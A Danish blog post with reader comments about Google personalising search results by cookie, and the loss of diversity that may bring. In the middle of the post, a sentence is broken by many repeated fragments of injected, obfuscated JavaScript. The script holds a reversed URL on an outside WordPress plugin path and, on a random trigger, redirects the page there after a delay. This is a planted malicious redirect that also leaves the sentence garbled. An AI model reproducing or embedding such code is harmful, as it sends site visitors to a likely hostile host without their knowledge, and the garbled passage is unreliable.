Personaliserede søgeresultater Google from Thomas Rosenstand on Vimeo.
Jeg må indrømme, at “this is a first”. Google har lavet noget, som jeg ikke tror er en helt god idé. Det handler om personalisering af søgeresultater, dvs. at Google åbenbart nu via en cookie lærer af dine søgninger, og ranker de søgte sites efter, hvad du plejer at klikke på. Også selvom du ikke er logget ind.
Fint, fordi man får resultater, der ligger mere i tråd med, hvad man plejer at ville have? Skidt fordi man netoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top kun får “plejer” og dermed mister mangfoldighed og ny inspiration?
Jeg er nok mest på den sidste, og lægger lidt links til det spændende emne: personalisering af søgeresultater:
http://googleblog.blogspot.com/2009/12/personalized-search-for-everyone.html
http://www.thomas-rosenstand.dk/personaliserede-resultater-google
http://www.google.com/support/accounts/bin/answer.py?hl=da&answer=54041
http://www.pressesystemet.dk/default.asp?id=1338
Vi lægger meget og mange vigtige ting i hænder på Google – og det kan både være godt og skidt. Indtil videre synes jeg generelt at Google har forvaltet sig “ansvar” fornuftigt.
Jeg er tryg ved at vi lever i en forholdsvis fri og liberal verden, hvor markedskræfterne dominere. Hvis der opstår et behov som Google ikke kan/vil indfri – så vil folk søge hen til andre “niche” søgeportaler, der har en anden type af søgning. Så finder Google nok ud af at tilbyde flere typer af søgninger til brugerne!
Jeg er nok ikke så uenig med dig, Kenneth. Grundlæggende lever Google vist meget godt op til forretningsfilosofien “Don´t be evil!”
Men jeg er ikke så vild med at gøre en personaliseret søgning automatisk, fordi jeg tror, at mange ikke vil vælge at “slå den fra”. Simpelthen fordi man ikke tænker over, at der er et “personligt filter”.
Den personlige søgning er fin nok, og jeg kan sagtens se mange fornuftige måder at anvende den på. Men jeg tror, at det ville give bedre “søgeoplevelser”, hvis man havde en meget tydelig mulighed for hhv. at søge med eller uden brug af tidligere søgehistorik.
Kan man ikke bare slette den pågældende cookie?
Hej alle,
tak for at tage emnet op!
Når jeg så fra min computer på kontoret spørger google.com om, hvor min hjemmeside står i søgeresultater i Google, får jeg dermed et misvisende svar: det er selvfølgelig mig, der står i spidsen for søgningen og jeg bliver glad. Men skal jeg virkelig være det? Afspejler mit resultat virkeligheden?
Dette vækker filosofiske spørgsmål. Altså, vi almindelige mennesker plejer at sige “Alt er relativt”, som en mantra, mens der er nok andre, der har overblik, og det er Google-gud.
Jeg vil også gerne høre om det hjælper at slette cookien?
Hilsen fra Sagnlandet
Matteo Pilati
map@sagnlandet.dk
@Matteo og Thomas – Jo, i følge http://www.google.com/support/accounts/bin/answer.py?answer=54048 skulle det så vist jeg kan se hjælpe at slette cookien. Men jeg kan tvivle på, hvor mange der gør dét? Jeg tror, at det er ret få, som tænker over det og vil bruge denne mulighed. Mit gæt ville være, at de fleste (i hvertfald pt.) ikke vil tænke over, hvordan de foreslåede sites fremkommer og bruge søgeresultaterne som de er.
Men en anden ting, som jeg er kommet i tanker om: Hvad nu, hvis man søger via en anonym session i fx Chrome?
Problemet er bare af den “normale” net bruger ALDRIG opdager denne “lille ekstra opdate” men nej synes nu heller ikke den give mening og det er faktisk lidt irriterende ens “egen hjemmeside” altid ligger nummer et på google…